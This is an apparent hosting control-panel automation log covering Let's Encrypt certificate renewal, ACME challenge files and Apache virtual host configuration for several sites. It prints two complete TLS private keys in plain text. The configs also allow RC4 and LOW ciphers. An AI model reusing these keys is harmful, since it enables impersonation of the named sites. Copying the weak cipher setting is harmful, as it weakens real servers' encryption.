SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99
DocumentRoot /var/www/patientapps_shop
<Directory /var/www/patientapps_shop>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/shop_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/shop_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
SetEnv ENV sandbox
DirectoryIndex index.php index.html index.htm
</VirtualHost>
2025-10-03 22:13:25:
PUT: /tmp/pkp162414
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-03 22:13:25:
chmod 755 /tmp/pkp162414; /tmp/pkp162414; rm /tmp/pkp162414
2025-10-03 22:13:25:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99 5360
40:ba:bd:4b:96:20:a2:46:41:a4:bd:f7:61:91:c9:00
-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBeIJpzBpkN/qRy7T0WMMfngTMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDAzMjExNDUxWhcNMjYwMTAxMjExNDUwWjAeMRwwGgYDVQQD
ExNzaG9wLnBhdGllbnRhcHBzLmNvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA1OmdfVqlPJX1moFdlLqByu3uEzdlcUXhPkgCUe/QgsywwTbafERhQYfB
CWP4z2j6EEg9HYxt3BqQLaPF7j4OBVfQaTgZ2H0BytH3RBc6Tid4M61icgo1tdUe
K7wnP3pngh//0+Da3RK1lLrtLbcPnMSA3LKe4MYJvbomW+g9wcuG1/ELVC7LRChx
JYZvJW5L8vTd1zyj4ACqHrEmNHFnJPOncAaOSAV6kwrfNr15kafDzMTgPnDU4vej
nBrr5f4ioatZSAkOhcUf5PrkPoHZbGuSLYSwMYEWjyzDPPZSmbIjoYEvJVjlLQl3
7ZewiFAuWls2pg55r07TnMJCwMRPvwIDAQABo4ICIzCCAh8wDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBSnm35s6iWmCPvVtWGTA9EMp0ZykzAfBgNVHSMEGDAWgBTnq58P
LDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTMuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE3Nob3AucGF0aWVudGFw
cHMuY28wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy8yMC5jcmwwggEEBgorBgEEAdZ5AgQCBIH1BIHy
APAAdwBJnJtp3h187Pw23s2HZKa4W68Kh4AZ0VVS++nrKd34wwAAAZmsIwwTAAAE
AwBIMEYCIQDOxqT4W4Ao/fHNR5YxrzmjgMAsEtpsMY/Xr72vW5MCvgIhAMcoou/S
Z4ShCIn3zHIIgPKcg0lMoUxYFmBFX++c6XfqAHUAGYbUxyiqb/66A294Kk0BkarO
LXIxD67OXXBBLSVMx9QAAAGZrCMT5AAABAMARjBEAiBITBopg3qjxmlVNuAbtdnl
Yg3DJngCH7OVTLSqkp3AywIgTl43TOPuYekKSdUbkDVte4ilNBEYJVoSWuuF521L
5+UwDQYJKoZIhvcNAQELBQADggEBADLKmjWBrWLC1rLZoJNAix89j9EP0sLhP7r6
oPRFEAXDJ8cEkvmYfxYS1p1TOaSHwEbUgDSZpBMSwh5rPCPzADaDvXktLKPm/jbM
RIz8CozXhosgpUY3xonGfzzgens6JwUHB8yoZtKGYciuUnucXOFZGkMjyT8iesEu
FXjGlpcWKFQ7SpzieIkQUQZ2w+CUoVG0ymZfFX0dDULUCcljrnmq5SjiRzpmiTuJ
nMpHkAk86s+8jVGWzJdDyGya4qJkTbB4xP0otQyobrBUwSybFE3N4VYVwV68ndy3
dLJjmU2LAqHdrr6NS8yBwwb2M0f3X+07FQOoQD4UbuaiF8WFe50=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDU6Z19WqU8lfWa
gV2UuoHK7e4TN2VxReE+SAJR79CCzLDBNtp8RGFBh8EJY/jPaPoQSD0djG3cGpAt
o8XuPg4FV9BpOBnYfQHK0fdEFzpOJ3gzrWJyCjW11R4rvCc/emeCH//T4NrdErWU
uu0ttw+cxIDcsp7gxgm9uiZb6D3By4bX8QtULstEKHElhm8lbkvy9N3XPKPgAKoe
sSY0cWck86dwBo5IBXqTCt82vXmRp8PMxOA+cNTi96OcGuvl/iKhq1lICQ6FxR/k
+uQ+gdlsa5IthLAxgRaPLMM89lKZsiOhgS8lWOUtCXftl7CIUC5aWzamDnmvTtOc
wkLAxE+/AgMBAAECggEATUSbCysiXGJvx6q7M4acI/FFPWQVRI5/uAKaFPJbUZzH
aNdnY0HNqeKCg83sNhl65v3QcDDOjdp2CJou8s9Cd13vHMBnYNG9HMYmXmevmT1p
uhdqasiZxWuaj3SxKbBacDb8uQAZbbGkhF1yRezxlYsa2P1Z+2jjkB9GXIRkJTf2
MY0g7z8gpDwvHvW/36pLBlvNZzh2+odLg65Z7pPgZ8cLNvEYNkbgEGpbWplTMc0n
IFGAPiQyRf4aJdCNYQxE11q70ucYVA2gr0WfZezDpf/oS3AcuRCcKJCGdJLWAVnx
wF2ZgFzrTCdYY5YX+0mYvMUHPjqsAfi9x6CLL2yuwQKBgQDuc8iOX0xVglEpi9+n
Y9oaGretDfQDPrkAMPzJuoQSvOL1d+nGoUcsHAMw6fn1V24sWYsEoqsSNP8IPVZL
9VqGjaRD0iz85a3e0rtqAFsgbQoHk8N/+avsB1DrG+X4ulFd5/1Mnop5cHWL+e4S
9eq2WfU6GKzySr63E3GU8HKbDQKBgQDklK/+7ts6ZHKVPG4MJ2v0AwwnikZ+f7de
CPsU9A1feaMiGphwxlreiCO2KyGSDqaCNWS71p9wFAFjcZjC4fuilV3u0r01EW5u
T79c13chgNmCNkuQC0HdXXFsyIfXdaM27qanDDSBgq9BVvY2qFZFNxno4m90UBqp
k+ytTCTy+wKBgQCNFnLvUpG+8omFVJ6z01AELBTLzzq3BNC/vTyFO9fTonGDnjzz
aw/KmJSGx5o/QUkN8rlft8QS1MqlnG1IKlcyz/IGswAtbtSux+9eK/G/QOUzUInX
WeoQkM+fHPW4cr2cG5zzTcdPTWwvs2TbUShcVuPTSTBjeDhZ6KZG4vJcrQKBgHIw
5YtSACs3qxZqzf88Ym3QZ+4I4han7w8HJYfeNCASQDD1YFpWfWbWVCDZgzfYIc7C
pcRA//2ZwOfRBCO3iWI7hGWe2e78+lIZfNwAt/8Aw6iNP0qClTDlUZiqxVIZ7qOu
rYqeSky44JyfuPitOAvz7vmsxUkyC1/UClS4yWypAoGBANZY/j9a3u28MIuR0X49
KQ2+jjj4UC/6s5TFa7iUxa1QTsaoOgpMnJ7KzWHd6OqfA/V/2vlo3YmVGUDtBfGl
358YvgwzeqmwcCzwReTAM5TJSnh4gSjaHaLgbq+W1ET7SQL8DSPrR5oAspXh9SqF
ch1KXVQq/Chdk1HnRac5KliZ
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-10-05 06:00:02: Establishing a connection
2025-10-05 06:00:04: Establishing a connection
2025-10-05 06:00:05:
PUT: /tmp/pkp779049
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-05 06:00:06:
chmod 755 /tmp/pkp779049; /tmp/pkp779049; rm /tmp/pkp779049
2025-10-05 06:00:06:
0
2025-10-06 06:00:03: Establishing a connection
2025-10-06 06:00:05: Establishing a connection
2025-10-06 06:00:06:
PUT: /tmp/pkp641521
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-06 06:00:07:
chmod 755 /tmp/pkp641521; /tmp/pkp641521; rm /tmp/pkp641521
2025-10-06 06:00:07:
0
2025-10-07 06:00:02: Establishing a connection
2025-10-07 06:00:04: Establishing a connection
2025-10-07 06:00:05:
PUT: /tmp/pkp333602
#!/bin/bash
if [ -d "/var/www/hostz_mercury/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-07 06:00:06:
chmod 755 /tmp/pkp333602; /tmp/pkp333602; rm /tmp/pkp333602
2025-10-07 06:00:06:
1
2025-10-07 06:00:08: Establishing a connection
2025-10-07 06:00:09:
PUT: /tmp/pkp825722
#!/bin/bash
mkdir -p "/var/www/hostz_mercury/.well-known/acme-challenge/"
cd "/var/www/hostz_mercury/.well-known/acme-challenge/"
cat > vKB3wze6RQoFa6k-JLdFoSTzVSohI_SpGv7c8V8Yk5E <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
vKB3wze6RQoFa6k-JLdFoSTzVSohI_SpGv7c8V8Yk5E.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 vKB3wze6RQoFa6k-JLdFoSTzVSohI_SpGv7c8V8Yk5E
2025-10-07 06:00:10:
chmod 755 /tmp/pkp825722; /tmp/pkp825722; rm /tmp/pkp825722
2025-10-07 06:00:10:
2025-10-07 06:00:22: Establishing a connection
2025-10-07 06:00:23:
PUT: /tmp/pkp864884
#!/bin/bash
mkdir -p "/var/www/hostz_mercury/.well-known/acme-challenge/"
cd "/var/www/hostz_mercury/.well-known/acme-challenge/"
rm vKB3wze6RQoFa6k-JLdFoSTzVSohI_SpGv7c8V8Yk5E
2025-10-07 06:00:24:
chmod 755 /tmp/pkp864884; /tmp/pkp864884; rm /tmp/pkp864884
2025-10-07 06:00:24:
2025-10-07 06:00:25: Establishing a connection
2025-10-07 06:00:26:
PUT: /tmp/pkp406779
#!/bin/bash
temp_file=$(mktemp)
TARGET=ecea81f90eb664107ec66742d2c0036d
cat > $temp_file <<'endmsg'
4e:bc:91:0a:52:75:63:77:87:fc:be:59:2c:b5:07:85
-----BEGIN CERTIFICATE-----
MIIE/TCCA+WgAwIBAgISBSPcS0zkoQnhjbWae6vmy/4/MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDA3MDUwMTQ5WhcNMjYwMTA1MDUwMTQ4WjAcMRowGAYDVQQD
ExFtZXJjdXJ5Lmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBALKvMsDL/lNCnOv5Fb6K4NNsLVrvsFXtwh3aDhOTy8xcUjPFfF6rj/T3JZ7E
tDyAvI0A/7Pqbm5FF0xLCh2x+WKU3gMVQ/XEZdAjveA6bqaVPhrIKebgKUke5JKe
Nfvh8RUMt/FwrXz4CEA8gHT2fxuLmX/wx8go7PRSXhxP3sieW3ydG10rf4H1MISz
KrI8gt2ptNuwc6b/5JidcpDe72aJy1XxVreXhLVUpVIjSDmmGYJHbnYUNQMNo5pJ
S46I9CqHoahglYGYYSozF61zj8WEaHSycKkmPLnCS1x6sUHa1yR1+Taa8c9WhBFY
tiuPSx3XO+QPnUCclHPIMl2/NYcCAwEAAaOCAiAwggIcMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUUQNj6cP9llQmAF8UAg4In9TNRIUwHwYDVR0jBBgwFoAU56ufDywz
oFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEzLmkubGVuY3Iub3JnLzAcBgNVHREEFTATghFtZXJjdXJ5Lmhvc3R6Lm9y
ZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8v
cjEzLmMubGVuY3Iub3JnLzY0LmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB1
AGQRxGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3wAAABmb1BpSMAAAQDAEYw
RAIgDn7Z58nabjJr7guxDNyWqOc0JNG/6M8uSX1qrD9A1bACIDwpASBveo5hjMQ0
YlRuoTYxerL6RZmTFSb5C7fnCDA2AHYAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkF
hbDLFMMUWOcAAAGZvUGtBgAABAMARzBFAiEAqHUJbzZIzmbOtH1WMwMUVaZW50NY
UnngdssflTZdvzECIGeeB5+MXNdNsuWrukzjXclDdgOt9CG7PLG21xRCrzSUMA0G
CSqGSIb3DQEBCwUAA4IBAQBY0kCQ5GhFMAG0m+ErFBwDPwX2RpggRZNg+BYtVqJX
lf00MQE5PHV4JUDhquViVROBBO6NSg/uj+T/F2Nf8iQL1Ua5oNhzqufgA/Z9FPU2
/Pgm4BseFLBw+mPRNEgYTeEaKnIf9e5lBf9n04YmJfomCB2zG/eMK59B4hpCpnVq
aqCPrajG32d4LVy0SGq1y215eQN0N3EKTbPBF2bLU2sJ9HCU5wuDYIL/aO8DVnk9
U0MkylxsLVjI0WM1AHukCJFedi/0fyqUL5c9FFBb3c32L+WScuXnRqKnLkt5C6c+
JUK6WLpVBb47dCX28+1plfMMI2eo0HNDDeOF2p9UP6JB
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCyrzLAy/5TQpzr
+RW+iuDTbC1a77BV7cId2g4Tk8vMXFIzxXxeq4/09yWexLQ8gLyNAP+z6m5uRRdM
SwodsflilN4DFUP1xGXQI73gOm6mlT4ayCnm4ClJHuSSnjX74fEVDLfxcK18+AhA
PIB09n8bi5l/8MfIKOz0Ul4cT97Inlt8nRtdK3+B9TCEsyqyPILdqbTbsHOm/+SY
nXKQ3u9mictV8Va3l4S1VKVSI0g5phmCR252FDUDDaOaSUuOiPQqh6GoYJWBmGEq
Mxetc4/FhGh0snCpJjy5wktcerFB2tckdfk2mvHPVoQRWLYrj0sd1zvkD51AnJRz
yDJdvzWHAgMBAAECggEBAIAjb8we/jWLMalvqQ5J3c0AaM4r0VLt/CUYOLwFY0Mc
eb6ywuvJMKVFj276NR6mW5DqxHSri6H8XibSMWD2PpdZlpSzbVcUDsdiuknQ3YUM
xcrC/HmbC0BqrRQP7TrC3vZvdoHogiF6ZcBbIuu90Y1ZYS0E6OA7qSHU57R5+pP2
+LYU4W7tcMd0sRO5EDhFllkBSw58HseOPKVWChjZ+EDynDqirNpFLkyzU02ieiZ5
anKs0oGos6n+M0lNoXy1YdauVx9px2guZD/BYqsd/DFH72HxOiAVVg5nKwTxvyzy
t1y7Qd0Jm/rVG7JUBtUIA9kvZEjZX/pxKKVlpPbwnpECgYEA5Wm24+KU8tJA3l9Y
3L5HfXiRdJBsLUVErXaaa9C//CYMZ+Fm3E+Pi/tywb16HBpQQ+0HHtmscEBPiMwK
fnTTdSsJEgCZZ+7DzhegXXOZA5kimBSOYL7m/L0IzyStRSJwZWfzGZxJjqEYVl/f
oy5E64kLObqqY1GGSt7MLlyvNe0CgYEAx2R0YE+YZGq8oVJjW5iRVjyU49ZP9ReG
tG2RxkvWTW2Y9Hs5l6beNiL9kiGe21k3yI2eUgmnzsTCPMxB8fxmLyert9sbJScT
/1vhpFC0t1b3YtYTrVaXdWQzZKR/2E7cMAxOlup38mnhzgCyOqYk52Fb9G8Qnk1W
IbeuNUkpasMCgYEA4RxerjbD2ZGevZXp6JF+LQyGDk85FyMFRQFAfdMU0CO1wKlY
+Y3IWZ+e96UpkTHw2PZZKliF8I/qe11cXsHcTPixqcyUu3t6/1wHrCumVfWKEJj7
LMumdRI49qoSq+gjSh46WUMWmrJQ41CobcMVNdn//eHBGDwC/qyoxkWEV/ECgYAL
9beRS1TtuQVFe+afyN/21z1rCSDUp6uZyPS0ezoIfOluyLFkqkqr3p9tE30u1QQm
kHANpayeF2k7MllGRYhvjaacKZVQPi7R41X+gCTG1n2SPRsDC62cCf2XLNLKS7ij
XSmdncTCEp3LuHj4UZznEAzu9XZ+uE7RSO43HgNQ9wKBgB3C5FBCygrxFCjASaY+
xbJLlKRJgDG6Gnm7T1yxZ7RvJV1gUEIH9MEsWzmubAvsAjwQIsItiC4IlpUpC1fQ
DmqRz3VuDiTrXV4/pFv4f1ea2dK7rkB0GzC6fBwuvmYTsakyKXKgRhadecGXol+9
C8WeyZiK4gBcbwezd2Ak0uxW
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-07 06:00:27:
chmod 755 /tmp/pkp406779; /tmp/pkp406779; rm /tmp/pkp406779
2025-10-07 06:00:27:
dir=/etc/ssl/certs
2025-10-07 06:00:27:
PUT: /tmp/pkp335711
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/pjy_mercury_us.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-07 06:00:27:
chmod 755 /tmp/pkp335711; /tmp/pkp335711; rm /tmp/pkp335711
2025-10-07 06:00:28:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_mercury_us.conf 38
<VirtualHost *:80>
ServerName mercury.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_mercury
<Directory /var/www/hostz_mercury>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/mercury_access.log combined
ErrorLog /var/log/apache2/pjy/mercury_error.log
SetEnv pkp_uid 35
SetEnv pkp_owner nev
DirectoryIndex index.html index.htm index.php index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName mercury.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
DocumentRoot /var/www/hostz_mercury
<Directory /var/www/hostz_mercury>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_mercury/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/pjy/mercury_secure_access.log combined
ErrorLog /var/log/apache2/pjy/mercury_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-07 06:00:28:
PUT: /tmp/pkp953525
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_mercury_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_mercury_us.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName mercury.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_mercury
<Directory /var/www/hostz_mercury>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/mercury_access.log combined
ErrorLog /var/log/apache2/pjy/mercury_error.log
SetEnv pkp_uid 35
SetEnv pkp_owner nev
DirectoryIndex index.html index.htm index.php index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName mercury.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
DocumentRoot /var/www/hostz_mercury
<Directory /var/www/hostz_mercury>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_mercury/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/pjy/mercury_secure_access.log combined
ErrorLog /var/log/apache2/pjy/mercury_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/pjy_mercury_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/pjy_mercury_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_mercury_us.conf'
